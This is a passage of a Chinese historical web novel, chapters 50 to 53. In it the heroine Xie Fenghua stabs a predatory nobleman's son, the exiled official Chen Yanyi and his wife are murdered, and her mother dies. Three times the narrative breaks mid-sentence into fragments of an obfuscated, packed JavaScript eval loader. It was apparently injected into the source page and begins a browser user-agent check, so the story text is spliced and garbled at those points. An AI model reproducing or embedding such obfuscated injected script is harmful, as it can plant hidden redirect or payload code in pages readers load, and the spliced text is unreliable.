陈言意神色平和：“世子，寿安公主自尽不假，科考舞弊亦是我一手排演嫁祸周相的，条条罪证板上钉钉，周相愿开恩留下官一命，下官已感恩不尽，还请世子莫要再论及此事了。” “你——” 陈言意打断了他的说辞，道：“山高路远，还要多谢长公主记挂，只是下官经此一遭，已是心力交瘁，贸然担此大任，实在无力，还请殿下另择良贤罢。” 姿态谦卑，字字婉拒皆具铿锵。 不怕死的见过不少，这等上赶着送死的，周其卿倒是第一次见。 事已至此，便也没什么好说的了。 “既然先生一意孤行，那学生也就不打扰了。” 周其卿踏出低矮的门槛，迎面撞见姜氏正捧着一壶茶往这边来。 姜氏道：“世子不再坐坐？” 周其卿含糊道：“还有别的事忙，下次罢。” 侍从将马牵来，恰好陈言意也从屋内走出。 陈言意看了院外的周其卿一眼，顷刻间被茶壶中散发的清香引去了目光：“哪里来的茶？” “上回谢娘子上山采药，顺带着送了些，说对安神有妙用。只是这茶量少，一直存着没敢用。” “……” 周其卿翻身上马，最后看了眼那院内恩爱的夫妻，眼底划过一抹不易觉察的犹豫。 “世子。”觉察到周其卿的迟疑，侍从上前，低声道，“那些人已经到阳城了，用不用告诉陈大人……” “不必。”周其卿收回视线，勒紧缰绳，“生死有命，他们的恩怨，轮不到咱们头上。” — 媒婆上门说亲时，谢逢华才刚刚合眼不久。 昨夜母亲突然发起高热，谢逢华套了件披风就跑去杜若家中求药，衣不解带折腾了大半夜，天蒙蒙亮，烧也退了，谢逢华才有了些许休息时间。 眼下才歇了没两个时辰，院外的喧哗由远及近，砰砰敲响了谢家的门。 “谢娘子可在家？崔氏前来说亲了！” 三四箱金银绸缎看得人目不暇接，谢逢华半阖着眼，有一搭没一搭听着。 媒婆称赞了一番崔家，又美言了崔家公子的德行，滔滔而不绝。 说到最后，媒婆说干了喉舌，谢逢华也只是单手支额，轻飘飘打了个哈欠：“知道了，带着东西走罢。” 早知谢娘子难搞，却也没想到如此难熬。 站了半天，连盏热茶都不奉，倒真是心高气傲，一个上不得台面的还想立牌坊，活该一把年纪还没人要。 媒婆暗骂几句，隔着衣袖摩挲着鼓起的弧度，讪笑道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寒意自脖颈蔓延至四肢百骸，钻心的刺痛宛若烟花在身体里炸开，崔公子手中骤然脱力，捂着不断喷涌热流的脖颈，满眼不可置信。 谢逢华一骨碌从地上爬起，掸去尘土，顺手将血淋淋的簪子拔出，用帕子擦去簪身上的血，别回发髻间。 谢逢华扶起泣不成声的杜若，从怀中摸出一把匕首，塞进她手中，低声道：“杜夫人，我去一趟崔宅，这里就交给您了。” 杜若抓住她的衣袖，嗓音哑得几乎不成声调：“我女……我女儿……” “我知道。” 谢逢华睨了眼地上全无声息的崔公子，深吸一口气，提裙朝外跑去。 崔公子心思不纯，才给了谢逢华可乘之机。 谢逢华侥幸得手，却也心知肚明，崔公子失踪一事定然瞒不了太久。 她要赶在崔宅发现之前，将杜若的女儿找回来。 夜幕降临，崔宅内烛火高悬，妇人的啜泣、男子的谩骂透过高墙传入谢逢华耳中。 已经过去一个时辰，这些人居然才觉察人不见了，倒真是…… 谢逢华戴上面纱，蹑足翻过高墙，趁乱潜入崔宅中。 屋内没有，柴房没有，院子里也没有…… 灼热的烛光洒在脸上，额角淌下的汗珠浸透了衣衫。 能想到的地方都找遍了，却依旧不见杜小娘子的影子。 莫非—— “你不是府中的婢子。” 一声轻笑在空寂的屋内猝然响起。 谢逢华一惊，转头，昏暗的账房中，一抹暗色抱剑正倚在门边，银色鬼面之下，是一双狡黠如恶狼的双眸。 “你也不是府中的侍卫。”谢逢华道。 那人勾了勾唇，掀袍迈入屋内，反手将门落了锁。 账房的人都被调离寻人了，屋内烛火更是昏暗如浓夜。 隔着一段距离，谢逢华并不大能看清来人模样，只依稀窥见此人高挑俊逸的轮廓，和隐约一股夹杂着的异样的…… 血腥气？ 谢逢华放缓呼吸，后退一步拉开了距离。 那人却并不在意她，只是自顾自走到桌案前，随意翻动着书纸，缓中带急，似乎在寻找着什么。 谢逢华悬着心，趁他往屋内深处走，悄悄往门外挪动。 “我劝你别现在出去。” 谢逢华停下脚步，侧目看向他。 他依旧自顾自翻找着，头也不回道：“我方才失手杀了一人，兴许现在已经暴露，你衣衫染血，现在出去，无疑是自投罗网。” 谢逢华下意识低头一瞧，这才发现，领口有些许溅射的血痕。 真脏。 谢逢华心想。 见此，谢逢华只好收回手，“你是谁派来的？” 那人百忙之中抽空看了她一眼，纵然一句话也没说，谢逢华依旧从那双眼睛中，窥见了一种名为“威胁”的杀意。 “你……”谢逢华欲言又止，“你找什么，我帮你。” “不必。”他说着，从桌上捞起什么东西揣入怀中，转身朝她走来，“走罢。” “走？”谢逢华指了指门窗上迸射的火光与层叠人影，道，“去哪？” “自然是离开这里。” 谢逢华迟疑：“我还不能走。” 他却像是读出她的思虑，直言道：“她不在这里。” 谢逢华身形一颤：“你怎么知……你究竟是谁？” 听着门外嘈杂高亢，那人无所谓地耸耸肩，“受人之托而已。” 谢逢华正欲追问，却闻那人轻啧了声，低声念叨了句什么，旋即上前，朝她拱手一拜：“失礼了。” 谢逢华正疑惑，顿然颈肩一痛，一阵天旋地转，意识骤然坠入黑暗。 51. 第 51 章 “谢姨，谢姨。” 稚嫩的童音将谢逢华自深渊拽回人间。 自混沌中苏醒，入目却是熟悉的房梁。 一个五六岁的女童蹲守在身边，时不时探手摸摸她的额头。 谢逢华捂着刺痛的肩颈，环顾四周，意外发现自己竟已回了家。 “我……我怎么回来了？”谢逢华缓了下，想起什么，立刻看向女童，“你，你怎么样，可有受伤？” 女童摇摇头，抓住了她的衣袖：“谢姨，有个大哥哥救了我们。” 谢逢华揉额角的手一凝：“大哥哥？” 那个没礼貌的家伙？ 女童用力点头：“今日我才出门，有群奇怪的人冲上来要抓我，那个大哥哥‘唰’的一下冲出来，一甩胳膊，那群人就倒在地上了。大哥哥问他们为什么抓我，他们说是为了绑架你，大哥哥就让我带路，还让我躲起来数一百个数，可是谢姨，阿年不会数数。” 谢逢华笑了下，扶正阿年头上的双髻，“改日谢姨教你——然后呢？发生了什么？” 阿年歪着头想了想，说：“阿年数十的时候，那个大哥哥抱着谢姨从那群坏人的家里出来了，但是谢姨怎么叫都不醒，我就带着大哥哥把谢姨送回家了。” 谢逢华沉默半晌，不敢置信地看着她：“抱着？” 当着母亲的面抱着她把她送到床上？ 谢逢华脸烫的能煮茶，可当着那双纯洁无辜的双瞳，到头来还是压下了呼之欲出的崩溃。 阿年踮起脚，小手碰了碰谢逢华，“谢姨你的脸怎么这么红？像个猴屁股！” 谢逢华欲言，忽而门口传来开门的吱呀声，旋即，姜氏端着一碗汤药出现在她们面前。 看到床榻上面色红润的谢逢华，姜氏长舒一口气：“太好了，你终于醒了。” “我昏睡了多久？” “一日有余，不过……” 姜氏看了眼一旁的阿年，道：“阿年，方才你娘唤你回家吃饭了。” “好！”阿年跳下床榻，顺手还帮谢逢华掖了掖被角，“谢姨您要好好歇息啊，我们还等着您教我们识字呢。” 谢逢华笑了笑：“好。” 待阿年离开，姜氏将汤药递给谢逢华，道：“你可知你昏迷着两日，崔家那个顽劣的公子死了。” 谢逢华故作惊讶：“怎么死的？” “听说是喝多了迷路坠湖，崔家那边咬死是你，还跑来你家中好一通胡闹，好在杜夫人会些仵作之法，这才堵住了那些人的嘴。” “我娘……” “放宽心，一切安好。” 姜氏探手搭上她的腕处，“倒是你，好端端怎会在外面晕倒？若非世子途径将你救下，恐怕你已经冻死在外面了。” 谢逢华敏感捕捉到她言语间的不妥：“世子？” 姜氏这才发觉说漏了嘴，“啊，我是说，有个戴着柿子的人路过，救了你。” 谢逢华：“……” 姜氏破绽百出，字字却是为那人遮掩，谢逢华不再多言，“那人可还在阳城？” “将你送到家便走了。” 念起方才阿年所言，谢逢华忽而有些难以启齿。 要知道，未出阁女子最是在意名声，尤其还让母亲瞧见了…… 谢逢华又羞又恼，偏偏无处发泄，只得将自己藏进被子里，任由闷热的窒息感铺天盖地将她吞没。 “谢娘子？”瞧着她有苦难言的模样，姜氏了然于心，轻轻拽了下被边，“那时事发突然，若他冒犯了您，我代他向您赔罪。” 谢逢华从被子里探出一双眼睛，有气无力地说：“我娘知晓吗？” 彼时陈言意已将谢母送至杜夫人那里，阿年回家报信，众人才知晓谢逢华也出了事。 而那时，他已经离开了。 又叙了几句，谢母回来了，姜氏也不再多留，起身告辞。 而经历生死一遭，谢母顿然改变了主意，决定听从谢逢华的建议，过两日便离开阳城。 “儿啊，都怪娘，是娘连累了你。” “娘，您有您的顾虑，我不怪您。”谢逢华紧紧握着那双枯枝般腐朽的手掌，“离开阳城，我们去华京投奔兄长，然后等着爹爹得胜归朝。” “好，好。” 当悬在头顶的利剑落定尘埃，笼罩在四周的阴霾也烟消云散。 很快，她们就可以逃离这里了。 谢逢华迫不及待想将这个好消息告知陈言意。 翌日一大早，谢逢华跨上篮子，穿过荒草丛生的麦地，寻到陈言意家中。 院门虚掩，透过缝隙，陈言意一袭白衣，正在院中洒扫。 谢逢华推开门，唤道：“陈先生！” 见到她来，原本紧拧的眉头慢慢松懈，化为一摊春水，“是谢娘子啊，身子可好全了？” “好啦！”谢逢华说着，将篮子递给他，“这是我娘托我送给您的鸡蛋，谢谢您这段时间的帮忙。” 陈言意手足无措地推拒着：“这……这心意我们领了，只是今年收成不好，正是家家户户都不好过，这鸡蛋还是你们留着罢。” 谢逢华全无觉察，一个劲把竹篮往他话手里塞，“再过两日，我和阿娘就要离开阳城了，这多出来的东西留着也是无用，送给您，也算是我们百姓对陈大人的一点心意。” 几番拉扯下，竹篮还是进了陈言意手中。 谢逢华背过手，躲开了陈言意递来的银钱，“陈大人，我今日来，其实还有一事，想问您求个答案。” 陈言意悻悻收起银钱，道：“谢娘子尽管问，在下一定知无不言。” 谢逢华道：“您在朝中做官，也认识我兄长，他可曾对您提过远在阳城的爹娘和小妹？” 陈言意颔首：“自是提过，我瞧你第一眼，就知你是济民的妹妹。” “提起就是牵挂着，可为何阿兄一走数年，音信全无，若非您至阳城，我们仍以为阿兄早已客死他乡。” 陈言意默了一瞬，斟酌着言辞：“这些济民兄未曾提过。不过这些年朝中党斗，华京变故横生，济民处处碰壁，想必也是怕你们担心，才有意隐瞒的。” 谢逢华“哦”了声，面上难掩失望。 陈言意道了句“稍等”，随后回到屋内，再出来，手中多了一封有厚度的信。 “这是？”谢逢华捏了捏那厚度，似乎只是几张普通的信纸。 “我不是说过吗？我在华京有些好友，所以我写了引荐，若你们需要，可随时用这信去寻人，他们定会看在我的面上，帮你们母女一把。” 谢逢华点头：“那……多谢先生了。” “谢娘子客气了。”陈言意笑了笑，“若那日没有遇到谢娘子，恐怕我们夫妇就要横死街头，为豺狼虎豹所食了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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媒婆睨了眼谢逢华，义正辞严地咬定谢逢华收了礼。 言至于此，这就是一场专门为谢逢华设的戏台。 “我不知道那些定礼入了谁的口袋，可若此人得了好处助纣为虐，即便民女两袖清风，恐怕也要惹一身黑泥。” 谢逢华愤然瞪了眼媒婆，媒婆略带嘲弄地看了她一眼，又瞧了眼一言不发的崔老爷，脸上带着几分慌乱。 谢逢华将她细微的变化尽收眼底，沉默着被官吏扣下，押送牢狱。 待谢逢华走远，崔老爷对那官吏道：“此女诡计多端，大人还要多多费心才是。” “这是哪里的话，杀人偿命，本就是天经地义。” 那官吏擦了把并不存在的汗，小心翼翼道。“下官斗胆，多问一嘴，依这位周相的意思，凡是与陈言意有往来的人皆不留活口，据下官所知，几日前，周世子似乎出入过陈言意家中。” 牵扯到周家长子，尤其还是长公主膝下独子，此事还需一慎再慎。 偏偏这位世子来去无踪，他们就算想将世子行踪告知周相，恐怕信还没送到，人已经站在他们面前了。 “先处理陈言意。”崔老爷道，“旁的事，待日后再议。” 52. 第 52 章 牢狱的环境没有想象的好过。 湿冷的草垛盘旋着蚊蝇老鼠，风渗流出洞口，整个人好似浸在冰冷的河水中，谢逢华只是坐了一小会儿，手脚便止不住发麻发抖。 寂寞随着夜色疯狂滋长，随之而来的，是无处言说的气愤和委屈。 那一刻，忆起来时种种，说不后悔是假的。 当初若没有多管闲事就好了。 谢逢华抱膝蜷缩在角落，企图留存那一点点可怜的余热。 外面已不知过去了几个时辰，亦不知母亲会不会气急攻心伤了身。 她会不会连累了杜若和旁人，这件事又和陈言意有几分牵连？ 谢逢华望着那一窗明月，陷入了迷惘。 混沌中，隐约有脚步靠近，“啷当”一声，牢门大开。 谢逢华强撑着抬起肿胀的眼皮，朝声源处望去。 为首的牢头是个凶神恶煞的汉子，此刻正满脸不耐，拖拽着身后人，重重甩在地上。 看清地上狼狈的女子，谢逢华眼睛瞬间睁大了：“杜夫人？” 杜夫人看她一眼，偏过头，用沾染血迹的衣袖擦去嘴角的血。 变故发生的太快。 谢逢华尚未张口过问她身上的伤从何处来，牢头便拽着谢逢华一条胳膊，将她从地上拖起来。 随后推搡着她，迈出了牢房的大门。 牢头没有和她解释，解开了腕骨处的枷锁，催促着她回家。 在牢头转身欲回去时，谢逢华焦急唤住他：“礼是我收的，为何要抓杜夫人？” 牢头顿足，奇怪地看着她：“什么礼什么夫人，此人当街行刺崔老爷，亲口承认是她杀死了崔公子。” 谢逢华骤然僵在原地。 天底下怎会有这么巧的事！ 谢逢华几乎是逃回了家。 彼时，她在院中看到了一个意料之中的人。 “陈先生！” 打水的动作一滞，陈言意默然看向她。 谢逢华正急着救人，一时竟未注意到他面上异样，“杜夫人当街行刺一事，您可曾知晓？” 陈言意默了两息，放下木桶，虚握住她的腕，“谢娘子，你先听我说。” “可杜夫人——” “她是为了救你才冒险一搏。” 触及到她眼中的震惊，陈言意不忍，就连声音也掺了几分哽噎：“或许，她亦有私心。” “事是我做的，他们要杀要剐尽管冲我来便是，为何要——”说到后句，谢逢华咽喉干酸，几乎发不出声来。 陈言意松开她的手，轻声道：“阿年险些被崔家玷污，作为母亲，定然是咽不下这口气的。” 顿了顿，陈言意续道：“谢娘子，此事绝非空穴来风，也绝不会就此罢了。” 谢逢华怔怔地看着他，双目无神，也不知听去了多少。 忆起杜若临走前的嘱托，陈言意深吸口气，定下心神，道：“谢娘子，一切都是因我而起，在下以性命担保，绝不会让那群人伤害杜夫人分毫。” 谢逢华木着脸，呆滞地点点头。 “既如此，陈大人便先请回罢。” 陈言意怔愣，再想说些什么，谢逢华却已擦肩而过，径直入了房中。 房门合上，窥不见一丝光亮。 四下寂静，陈言意抬了抬眼皮，入目却是漫天枯黄。 离京那日，似乎也是这般天象。 陈言意从怀中缓缓掏出一打银票，压在树下的药杵下，朝那扇紧闭的门窗施了一礼，旋即拂袖而去。 — 好在母亲只是受了惊吓，身体并无大碍。 鉴于前车之鉴，谢逢华当夜便收拾了行囊。 在天色暗沉时，谢逢华扶着母亲登上了驴车。 将保暖的被褥堆在车上，正思索还缺什么，一直沉默的母亲突然拉住了她的衣袖。 “应时，去瞧瞧陈大人罢。” “瞧他做什么。”谢逢华不大情愿。 谢母道：“让陈大人与我们一起走。” 闻言，谢逢华立刻垮下脸：“娘，你可知这场祸事都是他引来的？” “可阳城也是他和你们守下来的。”谢母道，“你也从他那里学到了很多，不是吗？” 谢逢华哑口无言。 谢母并不懂朝堂政事，也不知道陈言意到底得罪了什么人。 但她知道，陈言意是个为民造福的好官，是能助她女儿脱离苦海的好师傅。 这般好的人，命不该绝于此。 谢逢华没拧过母亲，却怎么也过不了心中的坎，犹犹豫豫不愿去往。 “陈大人不走，我也不走了。”谢母说着，就要从驴车上跳下来。 谢逢华哪敢不从，只好应下，先行一步去往陈言意家中。 她们都自身难保了，怎么可能救得了陈言意。 可若这般回去，母亲那边又该…… 谢逢华扣着砖墙，在继续向前和折返回程之间徘徊不定。 罢了，去瞧一眼。 就当图个心安。 谢逢华这般想着，那些在阴暗处滋生的愧疚也如潮水般退去，很快不见踪影。 今夜院中无人，唯有那间小小的茅草屋内燃着星点烛光。 谢逢华鼓起勇气，抬手叩门。 “陈先生！” 话音未落，那看似紧闭的木门吱呀一声被风吹开。 旋即，一股浓郁得令人作呕的血腥味扑面而来。 扑通！ 心跳蓦然漏了一拍。 谢逢华推开门，入目是刺眼的腥红。 墙上喷溅的、地上蔓延的，尽是粘腻的血。 床榻一边，陈言意拥搂着姜氏，目光空洞地望着桌案上那一缕微弱烛光。 “陈先生！” 谢逢华抚上他腕处血脉，指下脉搏已近乎于消失，她失声：“到底……到底出什么事了……为什么……为什么……” 陈言意勾了勾唇，苍白的唇瓣一张一翕。 谢逢华听不清，手脚并用爬上前，侧耳倾听那股微弱的气息。 “匣子……匣子……” “什么匣子，在哪里？” “枕下……” 谢逢华忙去翻木枕，空落落，却什么都没有。 借着身后床榻，陈言意费力在床边摸索着什么，随后“咔哒”一声，方才放木枕的地方，赫然出现一口暗格。 一个巴掌大的匣子，外观平平无奇，拎起来却有些份量。 “拿着。”方才那一动，陈言意胸口的血洞又扩了一圈。 陈言意咳出一口鲜血，一字一顿道：“不要让……他们……拿到……” 谁？ 是杀他们的人吗？ 谢逢华慌乱无措地抓住他的手，“陈先生，坚持一下，我……我这就去唤人……” 甫一起身，衣裙被拽住。 “别去了，没用的。” 陈言意低头看了看怀中已无声息的妻子，眼底划过一抹依恋。 “你走罢，”陈言意松了手，“离开阳城，好好活下去。” “可是……” “走！”陈言意重重咳了一口血，拾起手边的虎头帽，几乎用尽了全身的力气朝她砸过去，“快走啊！他们回来就麻烦了！” 似乎预感到他接下来的举措，谢逢华一步三回头，眼泪顺着脸颊滴落，重重砸在血水之中。 走到门口，谢逢华忽然回身，双臂平举，朝陈言意施了一礼。 “陈大人，保重。” 臭丫头，总算说了句他爱听的话。 可惜啊…… 陈言意捂着胸口，踉跄起身，关了门，拾起了桌案上染血的烛台。 仅是回到妻子身边，陈言意便已用尽了全身气力。 姜氏的身体早已冰冷。 好在陈言意尚有一丝余温。 于是他们依偎在一起，宛若幼时凑在小小的火堆旁，天真地数着天上星几颗。 “还是好冷。”少女缩回手，小脸被火烤的红扑扑的，眼睛亮晶晶的，比天上的星星还明亮。 “那……”少年窘迫挠头，“那我再去拾些柴火。” “蠢货。”她嘟哝，“木头脑袋，难怪先生总是骂你。” 见陈言意还懵着，她咬咬牙，猝不及防钻进他怀中。 她环抱着少年的腰，抬头笑出了两颗牙齿，“这样就不冷啦！” 少年手足无措：“这这这不合礼数……” “那你娶我进门，这样合不合礼？” 火舌肆意游走，摧枯拉朽，房梁断裂倾塌，压垮了为官者的脊梁。 “不冷了，不冷了。” 陈言意喃喃，掌心攥着那枚尚未绣完的虎头帽，将姜氏搂的更紧。 火光中，少年红着脸牵起少女的手，青涩而决然： “走，我们回家。” — “出什么事了？” 看到谢逢华衣裙上的血，谢母大惊失色。 谢逢华跌坐在地，面上血色全无，望着母亲担忧的目光，麻木地吐出纠缠了一路的字眼： “陈大人，没了。” 木匣自始至终都紧紧抱在怀中，时时刻刻在提醒着谢逢华，这一切都不是梦。 谢逢华抱着木匣，眼泪轰然溢出眼眶。 “都怪我，当时我再多留心些，或许陈先生……” “应时。” “不，那时我就该带着陈先生他们走……娘，我错了，我不该任性的……” “应时！” 谢母强忍心中伤痛，将谢逢华抱在怀中，“不怪你，是那些人贪得无厌，是他们想要杀人灭口。” 谢逢华不知道哭了多久。 她只想找个借口，痛痛快快的将这些天的积压释放。 可泪哭干了，内心反而空虚。 谢逢华捧着木匣，愣怔许久。 “娘，”谢逢华转头看向谢母，“我讨厌我自己。” — 陈言意意外身亡，经仵作查验，他们推断出了“畏罪自尽”的结论。 官员流放路上自尽，尸体如何处置，最后应葬在哪里，朝廷是置之不理的。 于是谢逢华暂时搁置了出逃计划。 谢逢华本意为陈氏夫妇收尸。奈何这场火烧的太干净，谢逢华找了整日，也只翻出些碎骨和未完全烧尽的遗物。 谢逢华花了两日，选了处山头，作为陈家夫妇同眠永世的地方。 那里依山傍水，还可以眺望远方的华京。 可惜谢逢华对陈氏夫妇知之甚少，写不全悼文，手头的钱也不够请人篆刻墓志，只能立一块木牌，表以哀悼。 受于上官威压，下葬那日，阳城百姓无一人前来。 谢逢华不怪他们。 才处理完陈家，另一边，杜若将被问斩的消息不胫而走。 谢逢华最担心的反而是阿年。 阿年尚年幼，自杜若入狱后，便一直交由杜若的表妹照养。 说起来，倒是有好些日子没看到阿年了。 “阿年啊……”杜若的表妹摇着团扇，不自在地说，“她偶染风寒，近日怕是见不了客。” “那我改日再来。” “哎谢娘子！”她喊住谢逢华，为难道，“有句话，说出来可能冒犯，还请谢娘子不要责怪。” “您讲便是。” 她四下环顾，压低声道：“陈大人和表姐接连出事，阳城多产出些对您不大好的流言，阿年尚小，听了去总是会信些的。为了阿年，谢娘子日后还是不要再来了。” 谢逢华愣在原地，指甲深深陷入了掌心中，“您这话，是怕我害阿年不成？” “谢娘子言重了，你对阿年和表姐好，我们这些人都是看在眼里的。但如今的现状您也是瞧见了，多一事不如少一事，所以……” 点到为止。 谢逢华了然，点点头：“拜托夫人照顾好阿年。” 说罢，谢逢华转身离去。 “都是可怜人啊……”表妹叹气，转身回了房中。 入夜，牢狱中的哀嚎惨叫也随之停歇。 杜若靠在墙角，扯了几根茅草，闲来无事编起了发绳。 “杜夫人。” 编勾的手指凝滞，又将缠错的草头拆了。 杜若头也不抬：“为什么不走？” 谢逢华摘下帷帽：“为什么替我顶罪？” 杜若却不答：“你可知擅闯牢狱是何等罪名？” 谢逢华默了瞬，道：“陈大人死了。” 啪。 草绳在手中一分为二。 杜若将断裂的草线扔到一旁，“那你还来做什么？” “我想救你出去。” 杜若嗤笑：“笑话，这地方岂是你想进就进想出就出的？有这功夫不如赶紧回去收拾东西离开阳城。” 谢逢华垂眸，说不上委屈，毕竟杜若向来都是嘴比刀子硬，心比豆腐软。 可偏偏一字一句化作松针，细细密密扎在谢逢华心口上，似乎都在指责她的无能无用。 “为什么会变成这样……” 谢逢华忍不住问道。 那双灵动的眼眸此刻蒙了一层水雾，隐隐有什么情绪欲喷涌而出。 杜若偏过头，不再看她。 谢逢华抹了把泪，深吸一口气，强颜欢笑道：“他们快回来了，我先走了。” “等等。” 杜若唤住她：“簪子借我。” 谢逢华摸了摸脸颊发髻间的木簪，疑惑看向她。 杜若“啧”了声，指了指自己黑白相间，乱如鸡窝的长发，不满道：“你就让我这般见阎王？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“来时听了百姓几句说谈。”周其卿打了个哈欠，神态倦怠，“崔家主又没死，为何要将那人定死罪？” 崔老爷是没死，可经此一吓，竟活生生吓成了痴傻。 长子死了，家主又成了傻子，估计这崔家内里早就乱套了。 “世子有所不知……” “崔家也不是什么好东西，不知就不知罢，我没兴趣。”周其卿打了个哈欠，抬手打断了他的说辞，“我乏了，有事再议。” “是。” 目送周其卿回了房，高知府如释重负。 这位世子，当真是不好伺候啊。 — 那人入了房，径直走向床榻，窸窸窣窣倒腾了半天被褥，自顾自嘟哝了几句，便没了声响。 听着床上人呼吸和缓，谢逢华提心吊胆，小心翼翼从屏风后探出头。 屋内未燃烛，酒气若有若无，弥漫在床榻周围。 谢逢华却是一刻也不敢多留，蹑手蹑脚靠近门边，侧耳听着外面动向。 送了客，高知府却并急着离开，反而与同僚提起了陈言意。 “……听说消息传到华京，就连当朝皇帝都为之动容，赏赐陈家百两黄金以示哀悼。” “赏赐？我瞧是羞辱罢。”那人道，“话说回来，陈言意的兄长也算是当朝长公主身边的红人，但陈言意从出事至今，就没见过他露面。” “避嫌呗，长公主和当朝圣上不和多年，陈言意效忠圣上，势必惹得长公主不快。陈元邑若非躲的早，恐怕他也得被拉下水……” 声音飘远，谢逢华扶着酸痛的腿，颤巍巍从地上站起。 一只手从黑暗中探出，按在谢逢华肩头。 “怎么，不听了？” 冷气自身后飘来，谢逢华瞬间僵在原地。 这人什么时候醒的！ 一想到这人悄无声息躲在她身后陪她听墙角，谢逢华一阵头皮发麻，指尖似触了冰，瑟缩回袖中。 他轻笑，倾身靠近。 谢逢华侧头，冰凉的唇堪堪擦过那抹滚烫的肌肤。 二人双双怔愣。 “你……” 谢逢华一咬牙，顾不上清白，使出浑身解数，用力推开那具灼热的身体，拉开门，仓惶逃离了这是非之地。 许是醉了，他并未反抗，踉跄退了几步，手抚上颊边那片余温。 混沌的视线在满室清盈中游离，越过层层山峦，游向空寂的远方。 惊险躲过层层守卫，谢逢华心身俱疲，靠在桥边，大口呼吸着。 杜若死了，或许今夜过后，他们下一个目标便是谢逢华。 还来得及逃吗？ 谢逢华站在桥头，一时陷入迷惘。 回到家，谢逢华不敢告知母亲今夜发生的事，谢母问起，也含糊其辞。 杜若自尽的事传开，满城震惊。 谢逢华却从未预料，比刺杀先一步而来的，是流言蜚语。 不知何日开始，门外多了许多烂菜叶和臭鸡蛋，每日都有人聚在院外，用最肮脏的言辞抨击着她。 “就是她！灾星一个，克死了好多人。” “呸，扫把星！” “……” “我女儿才不是灾星！”谢母用尽力气朝门外人喊着，“是我女儿救了阳城！你们才是害死他们的真凶！” “娘！” 谢逢华冲出屋，将谢母推进门中。 门扉闭合瞬间，一盆脏水狠狠泼在门板上。 “扫把星！要不是你惹是生非，见死不救，杜夫人压根就不会死！” “读那么多书有什么用，最后都读到狗肚子里去了！” 门外还在骂着，谢逢华背靠着门，用身体抵挡着外面的谩骂。 眼泪滚出了眼眶，她也无暇擦上一把。 谢母颤颤巍巍抱住了她颤抖的身体，粗粝的指腹抹去脸颊泪水，捂住了她的双耳。 “儿啊，不哭，娘在。咱不听他们胡言乱语，咱不听……” 谢逢华抱住骨瘦如柴的母亲，满腹委屈化为一声声呜咽，深深洇在母亲那打满补丁的怀抱中。 “娘，我好累……” “乖，娘在。” 谢逢华不知道自己哭了多久，直到最后四下寂寥，意识随着窗外月影沉浮，坠入无边黑夜中。 “娘，我们离开阳城罢。” “好，你去哪，娘就去哪。” 谢逢华跪坐在地上，双目失明。 床榻上，母亲的身体早已冷僵。 明明昨夜，母亲还握着她的手，嘱咐她见到兄长时不要与他说家中事情。 一睁眼，却已是天人两隔。 处理完母亲丧事，谢逢华头裹素缟，站在院中，默然望着这栋毫无生气的房屋。 冷冬逼近，风雪将起，带来战场军情。 大夏败了。 春风崖一战，大夏三万余人，无一生还。 谢逢华用力闭上眼，刀刃般的寒风割切着她每一寸骨肉肌肤，可谢逢华却感受不到半点痛苦。 她站在风雪间，直至风雪将她埋没于无尽苍白中。 53. 第 53 章 再醒来，身边依偎着小小的阿年。 她的小手握着谢逢华的手指，头枕在床榻边，眼巴巴地瞧着她。 谢逢华张了张口，嗓中却发不出一点声音。 “谢姨，你醒啦！”阿年高兴蹦起来，“我去唤人！” 片刻，一位医女走来，撩开厚重的纱帘，为她把脉。 谢逢华这才发现，这纱帘质感柔滑，并非寻常百姓所拥有的。 “寒气入骨，已成顽疾，恐怕日后难以痊愈了。” 谢逢华没说话，静静看着她敷药用针，半晌，艰涩开口：“这里……是哪儿？” “自然是医馆。”医女道，“方才那女童发现你晕倒在家中，便唤人将您送来了。” “谁？” “我也不知，是个很俊俏的小公子，”医女笑了笑，合上药箱，“只是说话有些……刺耳。” 言毕，医女道了句安，便又掀开纱帘离开了。 阿年坐在床榻边，眨巴着眼，“谢姨你好些了吗？” 谢逢华点点头：“好多了，多谢阿年。” “嘿嘿，我也只是凑巧啦。”阿年不好意思地挠挠头，“小姨家没有书，我就想来您家借，没想到就……” 书吗？ 早就换作买药钱了。 谢逢华道：“只有你一个人？” “还有一个大哥哥。”阿年比划着高度，“高高的，特别厉害的，上回还救了阿年和谢姨。” 是他。 谢逢华心中一紧：“他现在在哪？” 阿年看着她，摇了摇头：“大哥哥说男女有别，不便见面。” 什么不便见面，要么举手之劳不足挂齿，要么就是碍着面子躲她。 谢逢华叹气，不明白世间怎会有这般矛盾的人。 阿年毕竟只是半大的孩子，到底是不方便照顾大人的，何况前阵子的确染了风寒，正是体弱时，谢逢华也不敢再与她牵扯太多。 于是一大一小说了几句，阿年便告辞回家吃饭了。 谢逢华在医馆将养了几日，偶然问起药钱，这才发现自己两袖清风，分毫都掏不出来。 医女看了她一会儿，继续低头敲算盘：“那就留下罢，什么时候还完债，什么时候再走。” 话落，谢逢华却有些犹豫。 现今谢逢华名声并不好听，若留在医馆，只怕是影响医女的声誉和医馆的生意。 含蓄道出理由后，医女放下药秤，无语地看着她：“来医馆闹事？怎么，活够了？” 谢逢华：“……” 谢逢华留在医馆，依着医女的安排，在后院为病患煎药。 时间如白驹过隙，一眨眼，小半月过去了。 在这段时间，有人不顾流言向谢逢华示爱，有人借机闹事欲强纳谢逢华为妾，也有人不加收敛，肆意挑衅医馆。 “你向我学医，最后就这么忍了？”医女睨她，“要报复直接上门捅他们一刀，别拿我的药罐撒气。” 这日过后，凡是与医馆作对的，要么喝错了药上吐下泻，要么喝多了出现幻觉自己上吊自杀了，死的死残的残，偏偏旁人还抓不到一点把柄。 一时间，竟再无人敢接触谢逢华。 卖了些家中物什，又接了些抄书润笔的活计，干了月余工，欠医馆的债算是还清了。 